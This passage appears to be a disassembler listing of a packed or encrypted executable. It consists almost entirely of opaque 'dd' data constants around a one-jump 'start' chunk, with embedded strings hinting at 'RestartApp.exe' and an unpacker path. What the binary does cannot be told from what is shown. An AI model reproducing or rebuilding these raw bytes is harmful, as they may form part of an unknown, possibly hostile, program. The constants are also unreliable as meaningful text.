0ACE05920h, 0AB910006h, 0CDA9C4DAh dd 0D53863A4h, 89F8B957h, 3F9FA9Fh, 0B17B35D8h, 0B420B385h dd 3BD1D18h, 48C49424h, 0C0AB991Eh, 0A86D1A3Eh, 19229EE2h dd 4FAD057Ah, 0A3D03D32h, 0FCE317C4h, 5986C891h, 0BA654C20h dd 0E8D20004h, 73FAFDD9h, 5417E182h, 0F0D07E4Dh, 5AC9EB9Ah dd 0DEC42025h, 0FB0E832Bh, 7E3DF4C7h, 1DB0DCBh, 9D12FA48h dd 122F460h, 6957DDFEh, 3CAB6AC3h, 11B383E4h, 9D1B806Dh dd 78689068h, 9A7506ECh, 70C49FD5h, 28E45224h, 0C858F991h dd 60C11222h, 50D1FD3Eh, 2A80402Ch, 2CE7ABFFh, 7C2F8200h dd 8A6497F6h, 3FD679FEh, 0CB80D831h, 46F27E20h, 0D401E9A7h dd 73872C7Ch, 6980E733h, 0F5B00407h, 9004066h, 46B22E41h dd 0B20E2A6h, 5F9D2264h, 30028C4h, 7AF6FD6Dh, 0E04AE42Bh dd 65D6005Bh, 0C5056E0Ah, 854CECACh, 80211FCCh, 66B6AB87h dd 82E01E82h, 60385294h, 167723DCh, 90CE2633h, 0C41F7C50h dd 0AB0064B1h, 406C283Eh, 258F0D5h, 22A6D235h, 44441ECAh dd 6D0AFC00h, 92F2ECB8h, 66E702B5h, 0FAE4EA5Ah, 0F6F4F458h dd 0E99F450Eh, 80A1CD6Ch, 0ACA062AFh, 3350FB7Fh, 72E2F504h dd 0FC82BC0Dh, 0C81525C5h, 99F65954h, 61C91F00h, 0FC42A7Bh dd 0F8210F87h, 0D800CBE6h, 0A4DD4678h, 0F27C0C02h, 0C05B1D93h dd 98790354h, 57C84E44h, 0F0E42760h, 0A4BA6407h, 0DA0FC60Eh dd 0E0D3A0F6h, 0BA8CEC44h, 0A16B0938h, 1891A078h, 1946231h dd 50194D6Eh, 46F865F3h, 0BFAA090Eh, 0F46042F4h, 585A3051h dd 91091820h, 67DC0175h, 699A2372h, 0F795E896h, 8F203003h dd 0A9A49B27h, 9C7DE8E3h, 97C662Eh, 0F506B9A3h, 0C32D32DFh dd 46D82020h, 25BF55h, 28858CBAh, 4F4D234Bh, 624ADA12h dd 711FA860h, 1E88A089h, 0CB261030h, 80D288E4h, 7FB85A79h dd 9401EFE7h, 0B24DC4A3h, 0D4335B30h, 2F6913h, 0A9D9442Bh dd 5CB872AFh, 0C9B51D02h, 7115EF01h, 0D85D0034h, 0C51182A4h dd 0F2A2300h, 812FEABFh, 0FDCA3126h, 7029B681h, 7812F627h dd 4CB2C725h, 0CE35FC07h, 0C2E64421h, 2024C688h, 19011CADh dd 9D8A9218h, 0DA76F4AFh, 0D9F26301h, 0ACFB7C42h, 7FA6F4h dd 50C2B666h, 6FC30AC4h, 1703300h, 0A506232Ch, 597C6019h dd 0FC53CDE9h, 9BF04400h, 7E9F78A3h, 48E3F298h, 0C580D831h dd 72270363h, 2B0C900h, 38CFD41Eh, 0EEF73F0Fh, 154752Eh dd 0C4836CBh, 0DE38309Bh, 646E4E2Ch, 0C4961A01h, 61613DEBh dd 0A5BF7980h, 0A10FA7F0h, 27D12Fh, 7D9A3EBCh, 0E89933h dd 0CE69DF08h, 6A00AA98h, 9DCAC692h, 0D9ED14h, 2953EF9h dd 90293685h, 0CE628816h, 121ECC8h, 1A4C07E4h, 0F04233C2h dd 0A32D2639h, 73A01013h dd 7BBE0002h, 0F62F9B74h, 0EA4BDB67h, 0EA86888h, 0C9EE359Ah dd 2D591EECh, 0F4D4EC00h, 87736641h, 7C807CEh, 3228760Ch dd 7CDA9877h, 51E63412h, 443E40E4h, 113C2556h, 0F0B6007Ah dd 0E78CBCD8h, 0E20903E5h, 0DF947E5Eh, 66D02400h, 0A3B7DC3Ch dd 9CCE5419h, 87480028h, 0E2710494h, 184835DEh, 5B660058h dd 81E9617Fh, 2986B6C8h, 7A218CC4h, 0CE019760h, 0B996A8A3h dd 0B448302Ah, 0BF740035h, 0B12214Eh, 10008C19h, 8553305Ah dd 39E7764h, 0B10DC776h, 0D1002C16h, 0E348CF39h, 1745E9C9h dd 217A09h, 0B97B743Ah, 0C802E1B5h, 0ED13FE1Ch, 67C8400Dh dd 0D4884CDDh, 895F7702h, 0A8C41E56h, 0AF058604h, 98B37590h dd 969ECF02h, 0AC8B4637h, 0A00B466h, 6463F9E9h, 131CCE7Ah dd 309714FCh, 56E006D4h, 54CBE00h, 302E9918h, 52D5007Bh dd 263EC835h, 0E1053C9Dh, 32CE6E86h, 9001E8B2h, 940C31BEh dd 0F4E060A0h, 0F6E3890Bh, 71F4A977h, 2EE70014h, 3F2B69C9h dd 0ED00EC76h, 4EB3EBFDh, 16BFE3A0h, 12D5075h, 8687DD31h dd 80E02861h, 0F532D9A5h, 0C4DF007Dh, 93B924EEh, 0FB005BE6h dd 37E840B7h, 62F9E332h, 3063990Bh, 0A77614F2h, 801F543Dh dd 0C05D7B5Fh, 28B9D51h, 57E11419h, 2C6186C9h, 0B89110F8h dd 0DEB000A9h, 0B50B9CECh, 0A8175FE8h, 54C8966Ah, 7EB0E027h dd 0C474006Ch, 54724F3h, 2E7FCF53h, 0D808BA4Fh, 828D8011h dd 0D4EDFEA6h, 58248002h, 9252E3A1h, 1FE88EA4h, 6FC25907h dd 60C927B2h, 21D9671h, 3DC5F647h, 78E419A1h, 62F00900h dd 719E847Bh, 0E59B000Fh, 0A8EBCD8Ch, 829510B4h, 0C08D78A8h dd 371062Bh, 256DE861h, 0E9120EE2h, 0C0D019B6h, 0BC6735h dd 982C2EE1h, 5FC6B0BDh, 80E98B00h, 0AB42C907h, 83160091h dd 66940B14h, 40947F4Dh, 0A3B38880h, 4C8DA1CBh, 351988D0h dd 28A080A8h, 0FFE38410h, 4DCCF089h, 0AC10B491h, 19A202B4h dd 5CDADB8Eh, 0E2351000h, 0E5D3B776h, 4520085h, 91C2B0DCh dd 0BA581EC4h, 49B911BCh, 0BE3B2858h, 2200C2BAh, 8EE4239Ch dd 0E3164495h, 1008CC2Fh, 83938F84h, 8819CFC4h, 23C56D0h dd 9EDF875Ch, 2EA00D42h, 0C7C135Bh, 0B87696FDh, 86F0C078h dd 939BCF0Bh, 0D4678036h, 25D9DAB2h, 0D4C0F46Dh, 155C50A8h dd 0C7E8060h, 42E1737h, 257DF6F0h, 0B74B3C5h, 76CC269h dd 474040AAh, 0AFF143h, 70E0D09Bh, 5241CCFCh, 0FDFE3109h dd 82D898B0h, 90AB00F3h, 40D11586h, 771265DBh, 20015F55h dd 794A220Dh, 0E90CF063h, 38B88E1Bh, 25B34F14h, 988969C7h dd 1F5E4A34h, 0C1EF558Dh, 0AF2491C3h, 83C43CA1h, 0E85EC022h dd 0B712099h, 40B09091h, 6BF29898h, 0FE5E4501h, 0FD57D87Bh dd 9AA3C0F7h, 0F0996940h, 0FC1E6E07h, 2107D831h, 603B4E1Ch dd 3E1F2C0h, 0D7D100FBh, 78B074C3h, 0F0A8469Eh, 92F03CCEh dd 98115B69h, 473D23Ch, 78B6FA8Ch, 9E30E493h, 0E2001490h dd 0B8B4AAAEh, 303E62FEh, 4921C625h, 0C14CFCC8h, 362F0C3Fh dd 78290872h, 60FA589Eh, 0F2CD2585h, 2C2D12F0h, 1BD340Bh dd 0CA3421E0h, 7810109Eh, 0E1AFB712h, 0C8D2FC68h, 29A85100h dd 0CCFDDEA9h, 1660495h, 0A2555227h, 8C18005Ch, 0A84BA5C8h dd 0D5C60111h, 928BB5C7h, 838A40BFh, 8F4C661Ch, 0D690CCA4h dd 382A00F3h, 0E845B841h, 0BD003F86h, 0D1AF7D19h, 9E99BB6h dd 0A4781C23h, 0B339B8C4h, 8BFA0265h, 0E06AC038h, 17D1C33Ch dd 12B9D67h, 4D44E07Ch, 22A47360h, 0A6520022h, 5FFEEE8Eh dd 0A00D64Ch, 0E3D72F3h, 56836CCh, 0E9A0C573h, 0D0E2B5h dd 0A580853Ch, 0EC2D0B1Eh, 7192980Ch, 0D5740A8Bh, 25F01BE4h dd 7A00B045h, 0FC32AB2Ah, 1E8CA164h, 0C7005022h, 2D428183h dd 0CC097299h, 1030B3A3h, 0AF5364h, 19FCFA82h, 0BD362E8h dd 41C01A9Fh, 6826C34Ch, 0D8CB4607h, 8604C23Ch, 0FC93BC41h dd 145C6471h, 0CC4F4E0Bh, 73DA2080h, 0F43226Ah, 0FF899230h dd 0B91AF21h, 0CB3A31FDh, 7D5A1FB0h, 0DB86B30Ch, 24D94Dh dd 81CA06EEh, 0DC318E9Ch, 0DB6CA300h, 0E2433BC8h, 9AEE003Fh dd 0B4B70593h, 0CA012AA4h, 0CE1DE301h, 0C33B34F7h, 0B4BD268Fh dd 0A09119ECh, 0F0690400h, 0A9BDBB3h, 0EBEA992Bh, 940D63A4h dd 7FD3A9F0h, 0DD299604h, 68002C15h, 0CA41F854h, 0B6BED8F1h dd 0BD1D8E03h, 912D8D4Ah, 80C63118h, 0F5CAEB24h, 0AE9B00BFh dd 99D51A93h, 0CE4D94F9h, 0DE8C1328h, 13FCE0E0h, 927E4AE5h dd 50EC8EACh, 0D2F7B013h, 0E01F2C07h, 544D47A2h, 8F65409Ch dd 42008D77h, 0CEFBFE23h, 0B80C86E6h, 0F2AC3E2Ch, 0EAA8B6D0h dd 0B83F2DDFh, 1CC4CE8Ah, 2747C54h, 75A5EF30h, 98F89ADBh dd 0F011E822h, 51470015h, 9E8D059Ch, 0E4B6BE09h, 0B1F4EA40h dd 0F7E900CCh, 755584E2h, 0E300F6FEh, 1E82C52Dh, 25415EE8h dd 8810B6F9h, 0C10ECB97h, 0C3E0FC87h, 5E7F630Eh, 0D8A85386h dd 0E601BF14h, 0EBF8A367h, 94232A90h, 4D5CB800h, 600559CAh dd 5A259D00h, 86B0D7F8h, 20C80004h, 96A12A94h, 6CB93EBBh dd 65444D9Ch, 1C12204h, 93D81992h, 9B09093Ah, 0CC9807D9h dd 800614Fh, 0DFFA63B0h, 2A6B686h, 5101B4Ch, 0A47912D4h dd 4B02C900h, 1A6B217h, 834E5C3Dh, 3B3E7C0Dh, 0DEDFC85Ch dd 40188700h, 700657h, 74AA2EB3h, 593D2717h, 0D15DC900h dd 0FEE350C3h, 0A8B600A0h, 7907E0D4h, 0B10401B8h, 1E95B3D2h dd 231488h, 6C5CDCCFh, 0C39B2E0Eh, 0C97BAB05h, 8CF53E89h dd 0AE7C0C8h, 0E9CF7A6Ch, 305604FCh, 0E600CCE5h, 6275AF00h dd 79631859h, 0BAEB02D9h, 0A1BE9438h, 20B45761h, 9F480284h dd 0FC2E0010h, 8309FB2Ah, 7F9B2454h, 16E208B4h, 0B0F6E38Bh dd 0F7AB28D0h, 480D07D0h, 0FC7811C9h, 7DBD1776h, 0BCA0903Eh dd 78018905h, 28D5BF65h, 0B430CFD3h, 0E45C131Eh, 0C998F42Dh dd 0D36008BCh, 388AEF91h, 8609FA25h, 10103366h, 2400C44Eh dd 0D0806103h, 0FEB3C0h, 0E004BE84h, 8C8A13ADh, 1B28930Eh dd 6CC16085h, 10D03DFh, 4A15F7AAh, 22C4BE6Bh, 5CBF00B4h dd 0A4B0D673h, 58D148F7h, 8DBE9CC0h, 0B50942B9h, 0D6BBA5B2h dd 0E86E009Ch, 1296D1E3h, 91A85600h, 0F2B6B408h, 0E2251672h dd 13E888F8h, 3A8B388h, 0A9151A96h, 0ABC0366Ah, 0EF7DFD2Eh dd 262B7F73h, 3D0080C8h, 0E6FC8434h, 0B99103A9h, 6A388164h dd 9EBD4416h, 61C98031h, 394B46DCh, 1B0FA47Ch, 8747CD05h dd 3A22614Dh, 0A132CC91h, 0EC084898h, 807B964Ah, 6F38FAFDh dd 18BE5E4Eh, 971AFE85h, 0A64BBC00h, 33D6B039h, 0B521666Dh dd 73E50A0h, 7C83152h, 54C4784h, 7BB1D400h, 0AD0B01B8h dd 7AA496BAh, 0B8E0CAC6h, 8827ACC3h, 842C10CEh, 18EE0101h dd 37FC1B86h, 3C213AB1h, 609D0DF6h, 0A14482B2h, 564266h dd 34926C40h, 5FED0010h, 0C3455D8Ch, 7814B429h, 259209D5h dd 89500281h, 807125h, 3C9553DCh, 0E90EBF4Eh, 1D80E499h dd 5B672041h, 202AC8BAh, 24BF7D4Ch, 9B7FF676h, 1A059FF4h dd 0C9FA1B31h, 618028ACh, 0D9C4F295h, 0BCCF3503h, 9186A59Dh dd 2230F4E1h, 0B0ED02E9h, 1CB4487h, 8609F840h, 47D59B00h dd 0C693AB40h, 257713CCh, 0F26424D0h, 949C0008h, 89C5B2E5h dd 6D790FC6h, 9B41DCA2h, 60F98AD4h, 0C03950B5h, 51D19E3Eh dd 530683A6h, 2086218h, 0EBFAB50Fh, 0E8E32ED9h, 9DD0B885h dd 0BA7F01E1h, 0D01071EAh dd 0FE01FD44h, 988D060Fh, 9091F7C3h, 5E600D3h, 48C070C7h dd 0AEE2038Ch, 0C4F6A2B1h, 80C125E0h, 2E722D00h, 0FAEFE988h dd 0C8130178h, 8E11074Fh, 0B298F3F0h, 0A900B939h, 0C91D7A03h dd 11A1B167h, 5BE2CC25h, 91514420h, 0A8B00841h, 0CB024AC6h dd 0DC9E9C55h, 0DE804924h, 273E2432h, 13EAFAF6h, 0EF655C03h dd 4E5A8407h, 0C0A424F8h, 83ABFAD8h, 2F2CBF7Ch, 562628ECh dd 9EC90Bh, 9C1411E0h, 0E6360DB9h, 6C392EFEh, 38608028h dd 720542h, 8326460Eh, 0B76B2149h, 2A1DBB04h, 4CE2CCAAh dd 2F38EF00h, 0AF396086h, 904D7D07h, 0DBDB23h, 46ED888Dh dd 1854B05h, 0C8E11CE4h, 218889B6h, 2748F09Dh, 0B410126Bh dd 271D89D2h, 0B440D6D9h, 71111CECh, 0E90800F1h, 53C24BC8h dd 0D8906E92h, 1B3BD00h, 8B0AE889h, 0AF190091h, 0BC02F879h dd 0FB1354D1h, 0E0A24AE2h, 1DA93C61h, 0AAB04CD4h, 59770500h dd 448548C8h, 223B0BBh, 0CAD4A202h, 0A48EA62Ah, 8A53C3A0h dd 20953386h, 613051C8h, 59420431h, 0C06C8C4Ah, 0F0EB6604h dd 1C4909Dh, 8BBE0FAAh, 0A1C5C662h, 0B0B2A3h, 0F94BB33Eh dd 1B4D1E4h, 8807D3A6h, 80C81BB8h, 97193570h, 9449B77Fh dd 0F1D10B38h, 0EE32822h, 2645129h, 0BBE2996Ah, 3BF05Ch dd 2AC10FEFh, 254CD8Dh, 0F1EA3F1Bh, 28F2FAE3h, 0F5FDB807h dd 6CA0B6A2h, 5A4798h, 5F26B791h, 0A8BCEB36h, 0A0D885B5h dd 20C55980h, 2AA7840h, 76D351CBh, 7059E466h, 6FC8B800h dd 0D16D2Eh, 0CBC0D9A5h, 4B75B621h, 8CA9A707h, 79993E07h dd 71060E80h, 1936445Dh, 3D464077h, 0ECAD8Eh, 9B692843h dd 0DC210879h, 188F48h, 919A4B22h, 0FA588117h, 3D072CAh dd 0A91D6ABAh, 1AB0EAB1h, 0E4007C53h, 8D78CEC2h, 99D2E20h dd 107FA92Ah, 0B18B1459h, 27F8009Eh, 13D1ADE9h, 90BB7807h dd 1525CF44h, 0A7409C9Eh, 7A39601h, 89060A53h, 0B88EC493h dd 514180D0h, 9A60E04h, 0D81E4FE5h, 9FD4D800h, 80037F30h dd 0B52DFC87h, 9C883BA0h, 0F40BD704h, 4C0CCC56h, 1A790302h dd 0E1F0B083h, 0B815244Ch, 14CD434h, 7A93FFC9h, 4E19FC0h dd 84E0432h, 9A8083D8h, 78CF05B9h, 0C9324AA0h, 7028E228h dd 7F28AC83h, 88ECF3E1h, 865F75Fh, 4DA07761h, 0E4C4A7h dd 0C146FE69h, 48500D0Ch, 3E862E14h, 0A7370014h, 532BBEF2h dd 0AD7FE78h, 967395F1h, 0C180B974h, 653761D2h, 6CB8CCDFh dd 2E917AA0h, 0C0944748h, 3AD597BBh, 0A8C23B80h, 0EC8E3C02h dd 1CF12772h, 579F5000h, 1C23DA69h, 0DD88545Dh, 0E77280F9h dd 0F3BA6606h, 0CD26C414h, 44CC89FCh, 38C5E884h, 6980ADF4h dd 69E64D2h, 0C422FEDAh, 514D0763h, 0C05C8EA8h, 12E996A6h dd 3619C00h, 8457CE69h, 483490CCh, 2022B008h, 9E0068B9h dd 0A2BC429h, 0B518257Fh, 7DA96410h, 7F79A58h, 0CFAF642Dh dd 4CD1BD40h, 459CB088h, 12F002F9h, 2F60002Bh, 5CE14FCh dd 14AA84Bh, 0B8D0C421h, 0EA50803Ch, 28D46C30h, 3449177h dd 0B086A698h, 9EE257D1h, 0FB839476h, 0E9756037h, 9020137Ch dd 299888FAh, 0B88E8024h, 9322C800h, 3AB9DDh, 996CBE94h dd 0C263AFD4h, 64316F03h, 228EA69Dh, 0B04E16B8h, 78041080h dd 0B6A8A491h, 0EF8241B0h, 0B8D5D034h, 0A4D95C00h, 50BC7F1Dh dd 0C9B202F9h, 16A66EBDh, 750024D1h, 0F80439C6h, 6ACF005Fh dd 0C999F46Ch, 0FA3DB887h, 10C8DB4Ah, 10FB0EF1h, 0A0E139CFh dd 3BFDC625h, 0F9733870h, 63283AE0h, 0C582BB17h, 22F880B8h dd 0FE0229CEh, 0F871A23Ch, 13CE361h, 8B2BD192h, 727E4A2Ah dd 4205A68h, 0E29DE44h, 76DEDF1h, 0E110C853h, 0D842E200h dd 7DBD3C85h, 0C9102DA4h, 0C513C003h, 328E8ECh, 9F784F11h dd 0C8394A5Dh, 69B832E4h, 7559DA00h, 1B76530Ah, 0B85B032Ch dd 0E9B09F6Ah, 522FFE90h, 92C5833Fh, 70F28BFFh, 0D1848700h dd 0F97DFD4h, 0F1549C00h, 0BC26B42Fh, 3F28009Bh, 1FE3C4FDh dd 600095C5h, 0CD86D8BBh, 37DD972h, 0E15687E8h, 1CA34A36h dd 1B3EF2A0h, 66441107h, 9ED04D6Fh, 37F130h, 0A2CC3D5Fh dd 0BDF70628h, 0C11848DCh, 8DE351h, 0B76FFF79h, 0E69E7892h dd 36AAB500h, 0FCDC2C5Fh, 58C40356h, 0C31E2DC5h, 3F63410Eh dd 367C00D7h, 601F0EB1h, 147451CBh, 59008011h, 57C9FA82h dd 134E12h, 9A23EB45h, 5D477FCEh, 5E58C800h, 4FD23FB7h dd 639800D6h, 0F9A748A6h, 503EFD5h, 3F66E08Ah, 0BE00B7C8h dd 0C61319Dh, 0CD95D796h, 6C001588h, 7966EC18h, 0C4F544Ch dd 77AEF332h, 90C02A48h, 0D838D6BDh, 8D0100BAh, 0FE668BDEh dd 31F44612h, 0FF855106h, 1ED9E134h, 0C30B23A2h, 0A9F56392h dd 1AD624A8h, 0E6A8F106h, 5C29F934h, 143CCAE8h, 17684E00h dd 1C082F06h, 0B7004879h, 0B694909Ah, 0E664DA8h, 8F58A3FBh dd 1DD22540h, 2C3F74A1h, 7CCA00DFh, 68916104h, 1A56031Ch dd 0E8B0BE18h, 0D833E129h, 8BAAA000h, 9D5BC5h, 55FD7AC2h dd 0CA03AF84h, 75080A0h, 0A5BE3B50h, 1CC39B1Ch, 20CE64CFh dd 29D892D7h, 9E5C0145h, 0C3F0A995h, 8D28A522h, 0E8E0300Ch dd 1659E442h, 892481h, 96360B06h, 0F001558Dh, 0F8D6A193h dd 3180BF0Ah, 0EED4836Dh, 0FC0020E3h, 68BC1BDFh, 18399C7Ah dd 29A0EFE2h, 0CE05B08Ch, 0D33BB450h, 0C0C6AC4h, 1F1D8970h dd 0C0FE307Bh, 3B35B219h, 581CCC4Ah, 0A2015C2Dh, 0A7EFF943h dd 0BC5F3980h, 85464193h, 370CDA1Ch, 0E1410ADDh, 0B5EFF8A7h dd 54CE299Fh, 0F21FC925h, 90F68E21h, 9E080073h, 728F546Ah dd 0D5C81C0h, 0B1C881h, 51198860h, 1CA987CAh, 0C094D555h dd 0B298EA33h, 0A2AE1105h, 0B4411070h, 634ED4A7h, 0F120560h dd 1BFFB0C8h, 2C8F8827h, 491FEE61h, 3C4133EDh, 3AE2D5A0h dd 0E7F270h, 4BB94D76h, 9472DBDCh, 0A071D06Fh, 0CC1557FAh dd 180BF674h, 0D9A4A2D3h, 0C61DDB24h, 57406980h, 0A3C425F7h dd 0C5560612h, 29A293D3h, 0D2DA2A01h, 1E1574E1h, 1C2BD8h dd 1D276B11h, 0B32D8C0Eh, 1800C8A2h, 0A7FAC755h, 0FE017C00h dd 21A9278Ch, 0C074EAD8h, 0E7AE95C9h, 8502E837h, 713B3A52h dd 0ED84A015h, 0C67D09h, 0EB8135D0h, 4A1C1E84h, 0AC0124FAh dd 6EE858F7h, 318C1255h, 0DF79ABEFh, 0CDFBC600h, 3A89D9D8h dd 0AF9FA74h, 0E936568Ch, 98B118B8h, 0EC009569h, 26E6C8Dh dd 4AC524FFh, 18BBB898h, 0D0590D74h, 22BC007Eh, 40AA295Ch dd 0EF098614h, 108F80C1h, 16F9A038h, 0F0FA1C30h, 0C802918Fh dd 586EDB1Fh, 0B4508419h, 0B27F14Fh, 774AA3BBh, 73CDAD88h dd 6C5320Fh, 2CD7E194h, 0D048ABD3h, 8EE300FBh, 30BF713h dd 6A144B17h, 8882DBh, 3BDC7F1Ah, 1928DF6h, 787E447h, 0E5FF5715h dd 82A1B876h, 535CAAB6h, 6344A026h, 4F1A62h, 0EB09BC59h dd 8AF38790h, 3101D2F4h, 0F641D12Dh, 71D064DFh, 0F1C9C018h dd 0A0CB7293h, 0BA52FD00h, 8064BD8Ah, 0A44A02E1h, 6E04B24Fh dd 3140F563h, 34FA93FCh, 6A1C1F03h, 0DD3CEAADh, 0FC17BBC1h dd 4B42092h, 88F5A964h, 0A752D290h, 43506280h, 0BEEF2313h dd 0C193Bh, 2A389596h, 2973A236h, 0DC7081h, 8526E154h dd 0C10EF88Ch, 469E6BEEh, 88228Ah, 0DEFC607Ah, 2370C357h dd 0A3A8D318h, 0C0A15B59h, 4445CC5Ch, 73548F7Fh, 0DB00A6A4h dd 52BE337h, 1698ACh, 45F4EA57h, 3DFBF386h, 6AA7F600h dd 482E7A9h dd 0FF590215h, 91D2F00Bh, 255E6890h, 3CD5008Ah, 3C9AE1D3h dd 1E026B19h, 5FBE3EDh, 24EAE480h, 0D17B04B4h, 0B5F85802h dd 64566E3Bh, 0ADEF30CCh, 3DC8BA59h, 0E3C1F200h, 0E11EBCE2h dd 0EC7A98D2h, 51BD581Ah, 318FD312h, 20E0A3E8h, 1A4C218Ch dd 7B14C3DCh, 43D88040h, 0DCB600C7h, 5355E69h, 0AD020142h dd 8DD27DD4h, 0EDA622BEh, 0DD3F00C6h, 7A3C80BAh, 676F4E5Fh dd 242A4807h, 0E1AC2A71h, 9FA0058h, 566FD833h, 0CE133A66h dd 20743Eh, 7D2F51Ah, 70EFFE5Bh, 0E04570E7h, 0D7003736h dd 0FABC956Ch, 202593Dh, 42CDCF11h, 79C36B9Fh, 83684144h dd 258B261Fh, 533405BBh, 7E807FDCh, 2558043Fh, 27561EA1h dd 7C2EA828h, 37036E73h, 40782811h, 26F8E4D9h, 1CC6DDh dd 823BC064h, 70506C55h, 9703AC58h, 0C2E85B5h, 0EF9F9042h dd 0E27D58h, 0BF08CF5h, 0DDF63CE3h, 5157D11Dh, 2EF4A645h dd 11709C46h, 16440049h, 0A450DA43h, 8E027D0Fh, 0B12E390Ah dd 1084029h, 0DEF530A6h, 7FB9D239h, 989DE200h, 2436846h dd 0D394300Ah, 36A80D21h, 4EC5B61Dh, 6CFE4940h, 932B7C4h dd 596ED506h, 0D2DFD410h, 4D6D7101h, 0A86AE6A9h, 0C628760h dd 2F930898h, 5F1EDE51h, 0E841E437h, 0BCB8A2FEh, 0EA13C4h dd 81BBD15Dh, 5C3EE022h, 9C38FB28h, 0EBB9CD04h, 3C88A6D2h dd 0EE660752h, 314254DFh, 0E96EFA3Eh, 1E898128h, 7598E11Fh dd 44710820h, 1600A20Fh, 30668831h, 921F6005h, 561A00E4h dd 0CFE6026Fh, 0A9C0DA93h, 0BCA7DEF7h, 8C9415BBh, 0B400E46Eh dd 0D9FC649Ah, 0CA00AC42h, 1B178958h, 1380A21Ah, 207144FDh dd 0B955F20h, 5D69DA00h, 0E98E0C82h, 6A66001Bh, 68D86C56h dd 3711502h, 22F4AD4Ch, 56110026h, 5AB6F8C4h, 6B174DDEh dd 24085D5Bh, 987680B1h, 371CDC73h, 350183F2h, 4C72404Dh dd 8D419E1h, 5809FE92h, 6D87F88Ch, 0F152E059h, 4503AD80h dd 1058A455h, 0CA9D9F3h, 788449F5h, 0CCF88A6Fh, 800E9FCh dd 0ABC95389h, 90C1AE12h, 8A2D2EF8h, 7A51100h, 89C0E6A6h dd 0BAF840CEh, 0D76763h, 3E96241Ah, 0F926E30Eh, 0C866A704h dd 60C0A20Ah, 3AF3F78Ah, 0B5000715h, 0A4E75C41h, 2703191Ch dd 0B2F27340h, 0E8280565h, 41D9EFA6h, 2D6A89CCh, 977830A3h dd 2230A45Ch, 0C12400BEh, 5C393784h, 0A1CF2A70h, 0EC1E6090h dd 0F967054Ah, 64004462h, 0EAC908FEh, 0F600346Dh, 78B7BD0h dd 0E8F5E5h, 0B052B31Bh, 0B984E1FAh, 9D0ADDE8h, 847C885Eh dd 5802C29h, 98925DDEh, 31A70069h, 99EC5C8Ch, 8987790h dd 89285E00h, 0DD7A8DE2h, 4B316B2h, 883448h, 600E91CEh dd 0B205DACEh, 0C5633E2Dh, 0D2C8E981h, 25AC25E8h, 2420F04Ch dd 0F8A71C44h, 6376651Fh, 517BE900h, 2419C84h, 0AA2DC440h dd 8C98ACD3h, 0C7120294h, 0F85E83AEh, 6140942Ch, 2CF8DF1h dd 0E84CE0C3h, 0EC61276Ah, 7283271h, 4D2292A1h, 5C6C0E20h dd 0CDF800A0h, 1C8CDC9Eh, 400554Fh, 5A8912F2h, 0B8879682h dd 188F7784h, 692993F7h, 4E009C9Dh, 7EB853D5h, 16F9178h dd 48BE7FA0h, 0D86A7B09h, 30941FAh, 827EC836h, 207524A0h dd 2819711Ch, 34D99F3Eh, 0AC81D92Bh, 1026F557h, 0AE8416h dd 9F534B5Ch, 2F48741Ch, 0AF1309F4h, 2CB40422h, 0EFDDE040h dd 8C302E9Fh, 0CC605169h, 673B00E9h, 43014483h, 6E00BA35h dd 0E4C19F90h, 96F0C06Ah, 79868038h, 98448E5Eh, 7EB9D304h dd 0C8506Eh, 96270082h, 7DE549CEh, 74C5AEEh, 0A8ADC084h dd 5FB0EAh, 474AD39Ah, 1CB69E62h, 0B3C62F0Eh, 9444E33Ah dd 45310024h, 27344ECFh, 533E04CDh, 2D390021h, 1D36BD24h dd 173C0264h, 8F52E2D8h, 57E86880h, 2900D4FAh, 34AC7572h dd 38158B6h, 26671FDAh, 0F3A8E1EAh, 4B127A1Bh, 0AC033BFCh dd 2D9462h, 0FF845479h, 0E9E863CEh, 2B8AE307h, 87757073h dd 0E5B03440h, 7CC2694h, 28514ACFh, 108317D6h, 6165116Ch dd 16E74301h, 8DCF671Bh, 0E6074C32h, 705F4F94h, 585DC07Ah dd 8C7113E0h, 85CA283Ah, 40CC7166h, 1FEF0480h, 0A7E20F9Eh dd 79821B65h, 909093BFh, 0E700140Eh, 636ADCC1h, 21C9F2h dd 0D96D7823h, 7AB77C67h, 71392412h, 602C0491h, 8A1DECh dd 0A787A897h, 7F297A0Bh, 0FF01CC52h, 60FBFFh, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_52DCF8: ; CODE XREF: start:loc_4D3265j ; DATA XREF: start:loc_4D3086o jmp loc_530FE9 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- aJz db 'Áܦ‡',0 align 4 dd 3 dup(0) dd 0C530DF00h, 0A9h, 9E949900h, 0 dd 9EF78D00h, 0FDh, 0 dd 584C7600h, 2 dup(0) dd 0E800h, 2 dup(0) dd 25407100h, 8Ch, 2 dup(0) dd 568D0E00h, 2Ah, 6 dup(0) dd 641F5C00h, 0Ah, 6FE000h, 0FFA7A500h, 0FFh, 3 dup(0) dd 476CB800h, 0D4C96A02h, 77h, 0 dd 5A428000h, 0 dd 9EFA5600h, 2 dup(0) dd 57EDE200h, 6, 6 dup(0) dd 1FCFC00h, 80h, 0 dd 0A9711600h, 580000FFh, 2, 2 dup(0) dd 558E0200h, 0A400h, 0 dd 0FE030400h, 7Fh, 13h dup(0) dd 52FB1900h, 0E8360C00h, 77h, 29h dup(0) dd 0FE030400h, 5301E17Fh, 568F6D00h, 0A7DC5E00h, 0FFh dd 0FB66F400h, 0FFh, 3 dup(0) dd 6C00h, 3 dup(0) dd 1AE00000h, 0Ch dup(0) dd 2FB7FB00h, 70h, 0 dd 100h, 0FE030400h, 7Fh, 7 dup(0) dd 0DC000000h, 0CBh, 0Ch dup(0) dd 8704EB00h, 57h, 0 dd 0AD721600h, 2 dup(0) dd 3800000h, 0CA9E0400h, 0E7A14427h, 77h, 61962300h, 0FFh dd 0EE610B00h, 9Bh, 2 dup(0) dd 0FF9B6E00h, 736552FFh, 74726174h, 2E707041h, 657865h dd 500h, 8 dup(0) dd 0FE030400h, 5C3A437Fh, 6E755F6Dh, 6B636170h, 7265h dd 7Eh dup(0) dd 500h, 0 dd 8E6D5300h, 0CAh, 245E900h, 0 dd 0FE030400h, 0D3C9117Fh, 0A2h, 4 dup(0) dd 3F000C00h, 2, 0 dd 59000000h, 36E71302h, 0FAh, 0F2F70C00h, 0E7h, 0 dd 0D17E00h, 0 dd 40000000h, 2 dup(0) dd 0ED00AC00h, 12FF54FFh, 7D100h, 5 dup(0) dd 400E900h, 200h, 6 dup(0) dd 9EA00F00h, 6 dup(0) dd 5EF41D00h, 0FEh, 4D586800h, 0FE030456h, 7Fh, 2 dup(0) dd 